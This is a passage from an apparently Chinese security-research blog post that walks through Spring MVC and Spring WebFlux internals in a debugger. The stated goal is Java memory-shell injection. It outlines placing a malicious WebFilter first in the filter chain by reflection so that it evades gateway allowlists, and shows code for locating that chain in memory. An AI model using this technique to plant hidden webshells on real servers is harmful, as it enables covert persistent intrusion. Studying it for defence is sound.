):负责将请求分发给其他组件,是整个Spring MVC
流程的核心;HandlerMapping
(处理器映射):用于确定请求的处理器(Controller
);HandlerAdapter
(处理器适配器):将请求映射到合适的处理器方法,负责执行处理器方法;HandlerInterceptor
(处理器拦截器):允许对处理器的执行过程进行拦截和干预;Controller
(控制器):处理用户请求并返回适当的模型和视图;ModelAndView
(模型和视图):封装了处理器方法的执行结果,包括模型数据和视图信息;ViewResolver
(视图解析器):用于将逻辑视图名称解析为具体的视图对象;LocaleResolver
(区域解析器):处理区域信息,用于国际化;ThemeResolver
(主题解析器):用于解析Web
应用的主题,实现界面主题的切换。
简单的源码分析
九大组件的初始化
打开之前Spring Controller那个项目,定位到org.springframework.web.servlet.DispatcherServlet
,在依赖spring—webmvc里面
可以看到里面有很多组件的定义和初始化函数以及一些其他的函数,但是没有看到init()函数,继续往下找找
在翻看其父类FrameworkServlet
的父类org.springframework.web.servlet.HttpServletBean
的时候发现有init
函数:
先是从Servlet
的配置中获取初始化参数并创建一个PropertyValues
对象,然后设置Bean
属性;关键在最后一步,调用了initServletBean
这个方法。看一下initServletBean这个方法,这里什么也没写,又导致了我的疑惑?
继续去寻找答案,全局搜索一下initServletBean这个方法。最终在org.springframework.web.servlet.FrameworkServlet
找到了该方法
这段代码调用initWebApplicationContext
方法,初始化IOC
容器,跟进该方法
可以看到在初始化的过程中,会调用到这个onRefresh
方法,一般来说这个方法是在容器刷新完成后被调用的回调方法,它执行一些在应用程序启动后立即需要完成的任务,进到onRefresh方法但是此方法体为空
那么全局搜索一下该方法,最终在org.springframework.web.servlet.DispatcherServlet
找到了该方法
可以看到红框里面就是MVC的九大组件,到这一步就完成了Spring MVC
的九大组件的初始化。
url和Controller的关系的建立
在没有去了解spring的基础知识的时候,大家包括我都会有一个疑惑:写代码的时候是用@RequestMapping("/")
注解在方法上的,那Spring MVC
是怎么根据这个注解就把对应的请求和这个方法关联起来的?
从上面的九大组件的初始化中可以看到,有个方法就叫做initHandlerMappings
,我们点进去详细看看,可能跟大家的环境代码不同但是最终实现的功能是一致的,可以看到整体可以分为两个判断和一个循环
第一部分是去ApplicationContext
(包括ancestor contexts
)里面找所有实现了HandlerMappings
接口的类,如果找到了至少一个符合条件的HandlerMapping bean
,那就把它的值转化为列表,并按照Java的默认排序机制对它们进行排序,最后将排序后的列表赋值给 this.handlerMappings
;那如果没有找到,this.handlerMappings
就依然保持为null
;如果不需要检测所有处理程序映射,那就尝试从ApplicationContext
中获取名称为 handlerMapping
的bean
,如果成功获取到了则将其作为单一元素的列表赋值给 this.handlerMappings
,如果获取失败了,那也没关系,因为人家注释里面讲的很明白,会添加一个默认的HandlerMapping
,这也就是我们要讲的第二部分的代码。
第二部分说的是,如果之前一套操作下来,this.handlerMappings
还是为null
,那么就调用 getDefaultStrategies
方法去获取默认的HandlerMapping
,并将其赋给 this.handlerMappings
。
点进去看一下getDefaultStrategies方法实现了什么
这段代码挺有意思,先是加载资源文件,并将其内容以属性键值对的形式存储在defaultStrategies
中;接下来从strategyInterface
获取一个名称,然后用这个名称在defaultStrategies
中查找相应的值,如果找到了,就将这个值按逗号分隔成类名数组,接着遍历这个类名数组,对于每个类名都执行以下两个操作:①尝试通过ClassUtils.forName
方法加载该类 ②使用createDefaultStrategy
方法创建该类的实例;最后将创建的策略对象添加到列表strategies
中并返回。
可以发现上方代码多次提到了DispatcherServlet.properties
,我们尝试搜索一下是否有可用的信息,找到了第一次出现的地方
发现DEFAULT_STRATEGIES_PATH变量,找一下这个文件在哪,很明显看见就在左侧,
锁定文件中关键信息:
org.springframework.web.servlet.HandlerMapping=org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping,\
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping,\
org.springframework.web.servlet.function.support.RouterFunctionMapping
也就是说,会有三个值,分别是BeanNameUrlHandlerMapping
、RequestMappingHandlerMapping
和RouterFunctionMapping
,我们一般用的是第二个,我们点进org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
看一下:
可以看到RequestMappingHandlerMapping继承了RequestMappingInfoHandlerMapping,点进RequestMappingInfoHandlerMapping发现继承了AbstractHandlerMethodMapping,这个方法实现了InitializingBean
这个接口,这个接口用于在bean
初始化完成后执行一些特定的自定义初始化逻辑
点进该接口,只有一个afterPropertiesSet
方法,关于该方法的用途可以参考https://blog.csdn.net/Swofford/article/details/133994759
;
这里结束我们回去翻一下AbstractHandlerMethodMapping中具体如何实现InitializingBean
的afterPropertiesSet
的吧:
重写了afterPropertiesSet,调用initHandlerMethods
这个方法,继续跟踪该方法,也就是上方红框下面的方法:
protected void initHandlerMethods() {
String[] var1 = this.getCandidateBeanNames();
int var2 = var1.length;
for(int var3 = 0; var3 < var2; ++var3) {
String beanName = var1[var3];
if (!beanName.startsWith("scopedTarget.")) {
this.processCandidateBean(beanName);
}
}
this.handlerMethodsInitialized(this.getHandlerMethods());
}
实现的是扫描ApplicationContext
中的bean
,然后检测并注册handler methods
在这个方法打上断点进行调试,到图中这一步之后step into
发现进到了processCandidateBean这个方法,跟进到这个方法,来看一下这个方法的具体逻辑
可以看到有一个判断this.isHandler(beanType)
,跟踪一下isHandler
可以看到,这里并没有给出实现,说明子类中应该会给出override
,直接搜索isHandler,去找重写的地方即可。于是直接找到了org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#isHandler
:
很明显,isHandler
是用来检测给定的beanType
类是否带有Controller
注解或者RequestMapping
注解。
解决了这个,回到processCandidateBean方法继续往后看,后面是调用了detectHandlerMethods
这个方法,我们点进去看看
一部分一部的拆解分析一下这段代码
Class<?> handlerType = handler instanceof String ? this.obtainApplicationContext().getType((String)handler) : handler.getClass();
先判断handler
是否是字符串类型,如果是,则通过ApplicationContext
获取它的类型;否则,直接获取handler
的类型
然后是这部分:
Class<?> userType = ClassUtils.getUserClass(handlerType);
Map<Method, T> methods = MethodIntrospector.selectMethods(userType,
(MethodIntrospector.MetadataLookup<T>) method -> {
try {
return getMappingForMethod(method, userType);
}
catch (Throwable ex) {
throw new IllegalStateException("Invalid mapping on handler class [" +
userType.getName() + "]: " + method, ex);
}
});
先是获取处理器的用户类,用户类是没有经过代理包装的类,这样就可以确保获取到的是实际处理请求的类;然后是这个selectMethods
方法,这个方法有两个参数,第一个参数就是用户类,第二个参数是一个回调函数。关键就在于理解这个回调函数的作用。对于每个方法,它会尝试调用getMappingForMethod
来获取方法的映射信息。那么我们跟踪一下getMappingForMethod
发现是一个抽象方法,根据经验继续去找有没有重写该方法
果不其然在org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
找到了这个方法,在下图位置打断点进行调试
分开来看,首先是第一行:
RequestMappingInfo info = createRequestMappingInfo(method);
解析Controller
类的方法中的注解,生成一个对应的RequestMappingInfo
对象。我们可以step into
进入org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#createRequestMappingInfo(java.lang.reflect.AnnotatedElement)
方法:
可以看到这个info
里面保存了访问该方法的url pattern
是"/"
,也就是我们在TestController.java
所想要看到的当@RequestMapping("/")
时,调用test
方法。
继续一步步往下走,可以看到走到了org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#detectHandlerMethods
的最后:
直接看lambda
表达式里面的内容:
Method invocableMethod = AopUtils.selectInvocableMethod(method, userType);
this.registerHandlerMethod(handler, invocableMethod, mapping);
意思是,先用selectInvocableMethod
方法根据method
和userType
选择出一个可调用的方法,这样是为了处理可能存在的代理和AOP
的情况,确保获取到的是可直接调用的原始方法;然后把bean
、Method
和RequestMappingInfo
注册进MappingRegistry
。
到这里,终于把url
和Controller
之间的关系是如何建立的问题就解决了。
Spring Interceptor引入与执行流程分析
根据前面的思考以及探究,引入这样一个问题:
很多大型业务在到达真正的应用服务器之前,会经历n多网关、负载均衡以及防火墙等等,大多数都会设置网关的白名单来实现安全运行,所以如果你新建的
shell
路由不在这些网关的白名单中,那么就很有可能无法访问到,在到达应用服务器之前就会被丢弃。我们要达到的目的就是在访问正常的业务地址之前,就能执行我们的代码。所以,在注入java
内存马时,尽量不要使用新的路由来专门处理我们注入的webshell
逻辑,最好是在每一次请求到达真正的业务逻辑前,都能提前进行我们webshell
逻辑的处理。在tomcat
容器下,有filter
、listener
等技术可以达到上述要求,那么在spring框架层面下,有哪些办法能达到上面的目的,这也是我们需要探究的地方
查阅相关资料不难得知,Spring
框架中也有一种拦截器机制,Spring Interceptor
,也就是我们所要研究的,上文写tomcat部分时也提到了一种拦截器机制Filter
,那么这两者有什么区别呢?
主要有以下六个方面区别:
主要区别 | 拦截器 | 过滤器 |
---|---|---|
机制 | Java 反射机制 |
函数回调 |
是否依赖Servlet 容器 |
不依赖 | 依赖 |
作用范围 | 对action 请求起作用 |
对几乎所有请求起作用 |
是否可以访问上下文和值栈 | 可以访问 | 不能访问 |
调用次数 | 可以多次被调用 | 在容器初始化时只被调用一次 |
IOC 容器中的访问 |
可以获取IOC 容器中的各个bean (基于FactoryBean 接口) |
不能在IOC 容器中获取bean |
用之前spring Interceptor那个项目,在TestInterceptor.java
主方法处打断点,然后访问http://127.0.0.1:8080/?cmd=whoami
进入调试
一步步调试跟踪,发现进入org.springframework.web.servlet.DispatcherServlet#doDispatch
方法
一步步调试下去,发现调用了getHandler
这个函数,
step into
这个函数看一下作用,通过遍历当前handlerMapping
数组中的handler
对象,来判断哪个handler
来处理当前的request
对象:
继续步入这个函数里面所用到的mapping.getHandler
方法,也就是org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler
:
代码简单易懂,先是通过getHandlerInternal
来获取,如果获取不到,那就调用getDefaultHandler
来获取默认的,如果还是获取不到,就直接返回null
;然后检查handler
是不是一个字符串,如果是,说明可能是一个Bean
的名字,这样的话就通过ApplicationContext
来获取对应名字的Bean
对象,这样就确保 handler
最终会是一个合法的处理器对象;接着检查是否已经有缓存的请求路径,如果没有缓存就调用 initLookupPath(request)
方法来初始化请求路径的查找;最后通过 getHandlerExecutionChain
方法创建一个处理器执行链。
那么这个这个getHandlerExecutionChain
方法很重要,我们步入看看
遍历adaptedInterceptors
,判断拦截器是否是MappedInterceptor
类型,如果是那就看MappedInterceptor
是否匹配当前请求,如果匹配则将其实际的拦截器添加到执行链中,如果不是这个类型的那就直接将拦截器添加到执行链中。
再回到之前的getHandler
方法中来,看看它的后半段:
主要都是处理跨域资源共享(CORS
)的逻辑,只需要知道在涉及CORS
的时候把request
、executionChain
和CORS
配置通过getCorsHandlerExecutionChain
调用封装后返回就行了。
接着一步步执行,一直执行回到getHandler
中,这里调用org.springframework.web.servlet.HandlerExecutionChain#applyPreHandle
方法,step into
看一眼这个方法
可以看到一个for循环遍历所有拦截器进行预处理,后面的代码就基本不需要了解了
Spring WebFlux介绍与代码调试分析
这里文字部分我就直接复制解师傅的,解师傅写的很简洁也很清楚,如果有地方不清楚大家可以多去翻一下网上的资料,我翻了一下还是蛮多的,重点是后面的代码部分
SpringWebFlux
是Spring Framework 5.0
中引入的新的响应式web
框架。传统的Spring MVC
在处理请求时是阻塞的,即每个请求都会占用一个线程,如果有大量请求同时到达,就需要大量线程来处理,可能导致资源耗尽。为了解决这个问题,WebFlux
引入了非阻塞的响应式编程模型,通过使用异步非阻塞的方式处理请求,能够更高效地支持大量并发请求,提高系统的吞吐量;并且它能够轻松处理长连接和WebSocket
,适用于需要保持连接的应用场景,如实时通讯和推送服务;在微服务架构中,服务之间的通信往往需要高效处理,WebFlux
可以更好地适应这种异步通信的需求。
关于Reactive
和Spring WebFlux
的相关知识,可以参考知乎上的这篇文章,讲的通俗易懂,很透彻:
WebFlux
框架开发的接口返回类型必须是Mono<T>
或者是Flux<T>
。因此我们第一个需要了解的就是什么是Mono
以及什么是Flux
。
什么是Mono?
Mono
用来表示包含0
或1
个元素的异步序列,它是一种异步的、可组合的、能够处理异步数据流的类型。比方说当我们发起一个异步的数据库查询、网络调用或其他异步操作时,该操作的结果可以包装在Mono
中,这样就使得我们可以以响应式的方式处理异步结果,而不是去阻塞线程等待结果返回,就像我们在2.10.3
节中的那张gif
图中所看到的那样。
下面我们来看看Mono
常用的api
:
API | 说明 | 代码示例 |
---|---|---|
Mono.just(T data) |
创建一个包含指定数据的 Mono 。 |
Mono<String> mono = Mono.just("Hello, Mono!"); |
Mono.empty() |
创建一个空的 Mono 。 |
Mono<Object> emptyMono = Mono.empty(); |
Mono.error(Throwable error) |
创建一个包含错误的 Mono 。 |
Mono<Object> errorMono = Mono.error(new RuntimeException("Something went wrong")); |
Mono.fromCallable(Callable<T> supplier) |
从 Callable 创建 Mono ,表示可能抛出异常的异步操作。 |
Mono<String> resultMono = Mono.fromCallable(() -> expensiveOperation()); |
Mono.fromRunnable(Runnable runnable) |
从 Runnable 创建 Mono ,表示没有返回值的异步操作。 |
Mono<Void> runnableMono = Mono.fromRunnable(() -> performAsyncTask()); |
Mono.delay(Duration delay) |
在指定的延迟后创建一个空的 Mono 。 |
Mono<Object> delayedMono = Mono.delay(Duration.ofSeconds(2)).then(Mono.just("Delayed Result")); |
Mono.defer(Supplier<? extends Mono<? extends T>> supplier) |
延迟创建 Mono ,直到订阅时才调用供应商方法。 |
Mono<String> deferredMono = Mono.defer(() -> Mono.just("Deferred Result")); |
Mono.whenDelayError(Iterable<? extends Mono<? extends T>> monos) |
将一组 Mono 合并为一个 Mono ,当其中一个出错时,继续等待其他的完成。 |
Mono<String> resultMono = Mono.whenDelayError(Arrays.asList(mono1, mono2, mono3)); |
Mono.map(Function<? super T, ? extends V> transformer) |
对 Mono 中的元素进行映射。 |
Mono<Integer> resultMono = mono.map(s -> s.length()); |
Mono.flatMap(Function<? super T, ? extends Mono<? extends V>> transformer) |
对 Mono 中的元素进行异步映射。 |
Mono<Integer> resultMono = mono.flatMap(s -> Mono.just(s.length())); |
Mono.filter(Predicate<? super T> tester) |
过滤 Mono 中的元素。 |
Mono<String> filteredMono = mono.filter(s -> s.length() > 5); |
Mono.defaultIfEmpty(T defaultVal) |
如果 Mono 为空,则使用默认值。 |
Mono<String> resultMono = mono.defaultIfEmpty("Default Value"); |
Mono.onErrorResume(Function<? super Throwable, ? extends Mono<? extends T>> fallback) |
在发生错误时提供一个备用的 Mono 。 |
Mono<String> resultMono = mono.onErrorResume(e -> Mono.just("Fallback Value")); |
Mono.doOnNext(Consumer<? super T> consumer) |
在成功时执行操作,但不更改元素。 | Mono<String> resultMono = mono.doOnNext(s -> System.out.println("Received: " + s)); |
Mono.doOnError(Consumer<? super Throwable> onError) |
在发生错误时执行操作。 | Mono<String> resultMono = mono.doOnError(e -> System.err.println("Error: " + e.getMessage())); |
Mono.doFinally(Consumer<SignalType> action) |
无论成功还是出错都执行操作。 | Mono<String> resultMono = mono.doFinally(signal -> System.out.println("Processing finished: " + signal)); |
什么是Flux?
Flux
表示的是0
到N
个元素的异步序列,可以以异步的方式按照时间的推移逐个或一批一批地publish
元素。也就是说,Flux
允许在处理元素的过程中,不必等待所有元素都准备好,而是可以在它们准备好的时候立即推送给订阅者。这种异步的推送方式使得程序可以更灵活地处理元素的生成和消费,而不会阻塞执行线程。
下面是Flux
常用的api
:
API | 说明 | 代码示例 |
---|---|---|
Flux.just |
创建包含指定元素的Flux |
Flux<String> flux = Flux.just("A", "B", "C"); |
Flux.fromIterable |
从Iterable 创建Flux |
List<String> list = Arrays.asList("A", "B", "C"); Flux<String> flux = Flux.fromIterable(list); |
Flux.fromArray |
从数组创建Flux |
String[] array = {"A", "B", "C"}; Flux<String> flux = Flux.fromArray(array); |
Flux.empty |
创建一个空的Flux |
Flux<Object> emptyFlux = Flux.empty(); |
Flux.error |
创建一个包含错误的Flux |
Flux<Object> errorFlux = Flux.error(new RuntimeException("Something went wrong")); |
Flux.range |
创建包含指定范围的整数序列的Flux |
Flux<Integer> rangeFlux = Flux.range(1, 5); |
Flux.interval |
创建包含定期间隔的元素的Flux |
Flux<Long> intervalFlux = Flux.interval(Duration.ofSeconds(1)).take(5); |
Flux.merge |
合并多个Flux,按照时间顺序交织元素 | Flux<String> flux1 = Flux.just("A", "B"); Flux<String> flux2 = Flux.just("C", "D"); Flux<String> mergedFlux = Flux.merge(flux1, flux2); |
Flux.concat |
连接多个Flux ,按照顺序发布元素 |
Flux<String> flux1 = Flux.just("A", "B"); Flux<String> flux2 = Flux.just("C", "D"); Flux<String> concatenatedFlux = Flux.concat(flux1, flux2); |
Flux.zip |
将多个Flux 的元素进行配对,生成Tuple |
Flux<String> flux1 = Flux.just("A", "B"); Flux<String> flux2 = Flux.just("1", "2"); Flux<Tuple2<String, String>> zippedFlux = Flux.zip(flux1, flux2); |
Flux.filter |
过滤满足条件的元素 | Flux<Integer> numbers = Flux.range(1, 5); Flux<Integer> filteredFlux = numbers.filter(n -> n % 2 == 0); |
Flux.map |
转换每个元素的值 | Flux<String> words = Flux.just("apple", "banana", "cherry"); Flux<Integer> wordLengths = words.map(String::length); |
Flux.flatMap |
将每个元素映射到一个Flux ,并将结果平铺 |
Flux<String> letters = Flux.just("A", "B", "C"); Flux<String> flatMappedFlux = letters.flatMap(letter -> Flux.just(letter, letter.toLowerCase())); |
Spring WebFlux启动过程分析
关于Spring MVC
和Spring WebFlux
之间的区别,大家直接去网上搜就可以了,网上讲WebFlux
多的不能再多了,我们直接看代码
打开前面的Spring WebFlux的Demo
,我们直接在run
方法这里下断点,然后直接step into
进到这个方法里面
继续step into
跟进方法,一直到图示位置step over
一步一步往下走
直到看见createApplicationContext
,就感觉很重要,因为字面意思就是创建ApplicationContext
,这正是我们感兴趣的内容,我们step into
进去看看
可以看到,是根据不同的webApplicationType
去选择创建不同的context
,比如我们这里的webApplicationType
就是REACTIVE
,也就是响应式的。step into选择进到create方法看一下
发现里面有两个静态方法、一个create
方法和一个默认实现 DEFAULT
,这个默认实现通过加载 ApplicationContextFactory
的所有候选实现,创建相应的上下文;如果没有找到合适的实现,则默认返回一个 AnnotationConfigApplicationContext
实例。
我们继续step over
走下去,可以看到我们REACTIVE
对应的context
是AnnotationConfigReactiveWebServerApplicationContext
:
继续往下走,我们会回到一开始这里,可以看到接下来会调用prepareContext
、refreshContext
和afterRefresh
方法,这个过程就是一系列的初始化、监听的注册等操作:
继续往下走到this.refreshContext(context);
,step into进到这个方法看一下
接着step into 进到refresh
这个方法看一下,可以看到,这里调用了一个super.refresh
,也就是父类的refresh
方法
我们继续step into
查看,发现这里调用了onRefresh
方法:
我们一路step over下来,step into
这里的onRefresh
,发现它调用了关键的org.springframework.boot.web.reactive.context.ReactiveWebServerApplicationContext#createWebServer
:
继续step over
可以看到,由于我们使用的是Netty
而不是Tomcat
,因此这里最终会调用NettyReactiveWebServerFactory
类中的getWebServer
方法:
进到这个getWebServer方法看一下,这里并没有具体功能,很明显在某个地方被重写了不需要去管
可以看到黄框中的WebServerManager
类也是一个重要的封装类,里面有两个成员变量,一个是底层服务器的抽象WebServer
,另一个是上层方法处理者的抽象DelayedInitializationHttpHandler
:
那这个webserver
具体是怎么启动的呢?我们继续走到finishRefresh
这个方法这里来,如果这里我们直接无脑step over
,程序最终会回到run
方法,说明,启动webserver
的地方肯定就在这个finishRefresh
方法里面:
我们step into
进到finishRefresh
这个方法里面看一下,
看到调用了getLifecycleProcessor().onRefresh()
,继续跟进这个方法,发现调用了startBeans
方法,并且设置了自启动:
step into进入start Beans
方法,发现最后调用了start
这个方法
那么直接step over
到最后进到start里看一下,发现最后调用了doStart这个方法
这里我调试一直进不去start
方法,怀疑哪里出问题了,先把之前的断点位置取消,然后在两个关键函数处打上断点,也就是上图的
bean.start();
DefaultLifecycleProcessor.this.doStart(this.lifecycleBeans, member.name, this.autoStartupOnly);
可以看到这里的this.lifecycleBeans
里面其实有三个,每调用一次doStart
方法就会删掉一个,直到memeber.name
为webServerStartStop
时才能进去
我们一步步step over
,当memeber.name
为webServerStartStop
时,我们再step into
这个doStart
方法里面的bean.start()
:
即可看到this.weServerManager.start()
:
继续step into
这个start方法
分析一下上面红框中的代码
先是初始化HttpHandler
,这个方法其实根据lazyInit
的值的不同来决定何时初始化,如果lazyInit
值为true
,那么就等第一次请求到来时才真正初始化;如果为false
,那么就在 WebServerManager
的 start
方法中调用 initializeHandler
直接初始化:
我们继续步入这里的start
方法,其位置为org.springframework.boot.web.embedded.netty.NettyWebServer#start
到这里才算真正明了,真正的webServer
启动的关键方法是org.springframework.boot.web.embedded.netty.NettyWebServer#startHttpServer
,进到startHttpServer
方法看一下
一直step over一步步下来之后,回到start后,从下面的this.webServer
中也可以看到,绑定的是0.0.0.0:9191
Spring WebFlux请求处理过程分析
还是用之前那个WebFluxMemoryShellDemo
来探究当一个请求过来的时候,Spring WebFlux
是如何进行处理的
把之前打的断点取消,然后在org.example.webfluxmemoryshelldemo.hello.GreetingHandler#hello
这里打上断点,然后进行调试,访问http://127.0.0.1:9191/hello
触发debug
:
step over
两步后来到org.springframework.web.reactive.DispatcherHandler#invokeHandler
:
step into进到这个方法看一下,可以看到是org.springframework.web.reactive.DispatcherHandler#handle
:
if判断检查handlerMappings
是否为null
,如果是,那就调用createNotFoundError
方法返回一个表示未找到处理程序的Mono
接着通过CorsUtils.isPreFlightRequest
方法检查是否为预检请求,如果是,那就调用handlePreFlight
方法处理预检请求,如果不是预检请求且handlerMappings
不为null
,通过一系列的操作,获取到请求的handler
,然后调用invokeHandler
方法执行处理程序,再调用handleResult
方法处理执行结果,最终返回一个表示处理完成的Mono
。
注意到下方这段代码,里面的个getHander方法,点进去看一眼
return mapping.getHandler(exchange);
发现什么都没写,很明显被重写了,去找一下
果然,定位到org.springframework.web.reactive.handler.AbstractHandlerMapping#getHandler
,把之前的断掉取消,把该函数打上断点
可以看到调用了getHandlerInternal
方法,这个方法位置在org.springframework.web.reactive.handler.AbstractHandlerMapping#getHandlerInternal
继续跟进,可以看到这里调用了creat
方法,进入看一下
这里最终创建的是DefaultServerRequest
对象,需要注意的是在创建该对象时将RouterFunctionMapping
中保存的HttpMessageReader
列表作为参数传入,这样DefaultServerRequest
对象就有了解析参数的能力。
回到getHandlerInternal
这个函数,看它的return
里面的匿名函数,发现其调用了org.springframework.web.reactive.function.server.RouterFunction#route
,我们点进去看看:
可以看到只是在接口中定义了一下,去找一下这个方法具体在哪,定位到org.springframework.web.reactive.function.server.RouterFunctions#route
,审计一下代码
首先调用this.predicate.test
方法来判断传入的ServerRequest
是否符合路由要求,如果匹配到了处理方法,那就将保存的HandlerFunction
实现返回,否则就返回空的Mono
。
点进去这个test
方法,发现还是个接口,结合之前的RouterFunction.java
和RouterFunctions.java
的命名规则,合理猜测test
方法的实现应该是在RequestPredicates.java
里面。
我们取消之前下的所有断点,在test
函数这里重新打上断点后调试:
可以看到这里已经拿到了pattern
,那就还差解析request
里面的GET
这个方法了:
我们继续step over
,发现直接跳到了这里,这里的this.left
和this.right
已经已知了
说明在执行test
之前肯定是已经被赋值了,我继续往后step over
,从下图中可以看到,此时二者之间多了个&&
,不难猜测,应该是调用了org.springframework.web.reactive.function.server.RequestPredicates.AndRequestPredicate
方法,因为还有一个OrRequestPredicate
,这个or
的话应该就是||
了:
于是我们把之前的断点取消,再在AndRequestPredicate
方法这打上断点,此时我们还没有访问http://127.0.0.1:9191/hello
,就已经触发调试了,这是因为我们在GreetingRouter.java
里面写的代码中有GET
方法、/hello
路由还有and
方法,因此会调用到AndRequestPredicate
,并把GET
和/hello
分别复制给this.left
和this.right
:
到这里,我们基本就了解了路由匹配这么个事情。接下来我们要考虑的事情就是如何处理请求,这个就比较简单了,我们在Spring WebFlux那一章节中的分析中已经基本涉及到了。我们还是在org.springframework.web.reactive.DispatcherHandler#invokeHandler
打下断点调试,访问http://localhost:9191/hello
进入调试
可以看到,这里的this.handlerAdapters
里面有四个handlerAdapter
:
调试过程中可以发现,并不是所有的handlerAdapter
都会触发handle
方法,只有当支持我们给定的handler
的handlerAdapter
才可以调用:
然后我们step into
这里的handlerAdapter.handle
方法,发现是在org.springframework.web.reactive.function.server.support.HandlerFunctionAdapter#handle
:
而这里的handlerFunction.handle
也就是我们编写的route
方法:
Spring WebFlux过滤器WebFilter运行过程分析
对于Spring WebFlux
而言,由于没有拦截器和监听器这个概念,要想实现权限验证和访问控制的话,就得使用Filter
,关于这一部分知识可以参考Spring的官方文档:
https://docs.spring.io/spring-security/reference/reactive/configuration/webflux.html
而在Spring Webflux
中,存在两种类型的过滤器:
- 一个是
WebFilter
,实现自org.springframework.web.server.WebFilter
接口。通过实现这个接口,可以定义全局的过滤器,它可以在请求被路由到handler
之前或者之后执行一些逻辑 - 另一个就是
HandlerFilterFunction
,它是一种函数式编程的过滤器类型,实现自org.springframework.web.reactive.function.server.HandlerFilterFunction
接口,与WebFilter
相比它更加注重函数式编程的风格,可以用于处理基于路由的过滤逻辑。
这里我们以WebFilter
为例,看看它的运行过程。在上面的项目里新建一个GreetingFilter.java
,代码如下
package com.example.webfluxmemoryshelldemo.hello;
import org.springframework.http.server.reactive.ServerHttpRequest;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;
import reactor.core.publisher.Mono;
@Component
public class GreetingFilter implements WebFilter {
@Override
public Mono<Void> filter(ServerWebExchange serverWebExchange, WebFilterChain webFilterChain) {
PathPattern pattern=new PathPatternParser().parse("/hello/**");
ServerHttpRequest request=serverWebExchange.getRequest();
if (pattern.matches(request.getPath().pathWithinApplication())){
System.out.println("hello, this is our filter!");
}
return webFilterChain.filter(serverWebExchange);
}
}
在filter
函数这里下断点,进行调试:
注意到return
中调用了filter
函数,step into
看看:
可以看到是调用了invokeFilter
函数。我们仔细看看这个DefaultWebFilterChain
类:
可以看到是有三个名为DefaultWebFilterChain
的函数,其中第一个是公共构造函数,第二个是私有构造函数(用来创建chain
的中间节点),第三个是已经过时的构造函数。这里我的代码没有注释,但是解师傅的环境里有,借用一下
Each instance of this class represents one link in the chain. The public constructor DefaultWebFilterChain(WebHandler, List) initializes the full chain and represents its first link.
也就是说,通过调用 DefaultWebFilterChain
类的公共构造函数,我们初始化了一个完整的过滤器链,其中的每个实例都代表链中的一个link
,而不是一个chain
,这就意味着我们无法通过修改下图中的chain.allFilters
来实现新增Filter
:
可以看到左边这个类里面有个initChain
方法用来初始化过滤器链,这个方法里面调用的是DefaultWebFilterChain
这个私有构造方法:
那我们就看看这个公共构造方法是在哪里调用的,光标移至该方法,按两下Ctrl+Alt+F7
,我这里就一直没找到…..
根据解师傅文章,定位到org.springframework.web.server.handler.FilteringWebHandler#FilteringWebHandler
,果然在这里调用了
那思路就来了,我们只需要构造一个DefaultWebFilterChain
对象,,然后把它通过反射写入到FilteringWebHandler
类对象的chain
属性中就可以了
那现在就剩下传入handler
和filters
这两个参数了,这个handler
参数很好搞,就在chain
里面:
然后这个filters
的话,我们可以先获取到它本来的filters
,然后把我们自己写的恶意filter
放进去,放到第一位,就可以了。
那现在就是从内存中找到DefaultWebFilterChain
的位置,然后一步步反射就行。这里直接使用工具https://github.com/c0ny1/java-object-searcher
,克隆下来该项目,放到idea
中mvn clean install
,这个工具好像之前学校上课时候用过
然后把生成的这个java-object-searcher-0.1.0.jar
放到我们的WebFluxMemoryShellDemo
项目的Project Structure
中的Libraries
中:
然后我们把我们的GreetingFilter.java
的代码修改成下面的:
package com.example.webfluxmemoryshelldemo.hello;
import org.springframework.http.server.reactive.ServerHttpRequest;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;
import reactor.core.publisher.Mono;
import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
import java.util.ArrayList;
import java.util.List;
@Component
public class GreetingFilter implements WebFilter {
@Override
public Mono<Void> filter(ServerWebExchange serverWebExchange, WebFilterChain webFilterChain) {
PathPattern pattern=new PathPatternParser().parse("/hello/**");
ServerHttpRequest request=serverWebExchange.getRequest();
if (pattern.matches(request.getPath().pathWithinApplication())){
System.out.println("hello, this is our GreetingFilter!");
}
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("DefaultWebFilterChain").build());
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setBlacklists(blacklists);
searcher.setIs_debug(true);
searcher.setMax_search_depth(10);
searcher.setReport_save_path("D:\\javaSecEnv\\apache-tomcat-9.0.85\\bin");
searcher.searchObject();
return webFilterChain.filter(serverWebExchange);
}
}
代码里面我们设置的关键词是DefaultWebFilterChain
,直接运行
也就是说,位置是在:
TargetObject = {reactor.netty.resources.DefaultLoopResources$EventLoop}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [3] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1}
---> this$0 = {org.springframework.boot.web.embedded.netty.NettyWebServer}
---> handler = {org.springframework.http.server.reactive.ReactorHttpHandlerAdapter}
---> httpHandler = {org.springframework.boot.web.reactive.context.WebServerManager$DelayedInitializationHttpHandler}
---> delegate = {org.springframework.web.server.adapter.HttpWebHandlerAdapter}
---> delegate = {org.springframework.web.server.handler.ExceptionHandlingWebHandler}
---> delegate = {org.springframework.web.server.handler.FilteringWebHandler}
---> chain = {org.springframework.web.server.handler.DefaultWebFilterChain}
结语
写的脑袋有点疼,再次感谢解师傅出的这么优秀的文章,很清晰的为我们展示了一些代码基础知识以及相关理论知识。
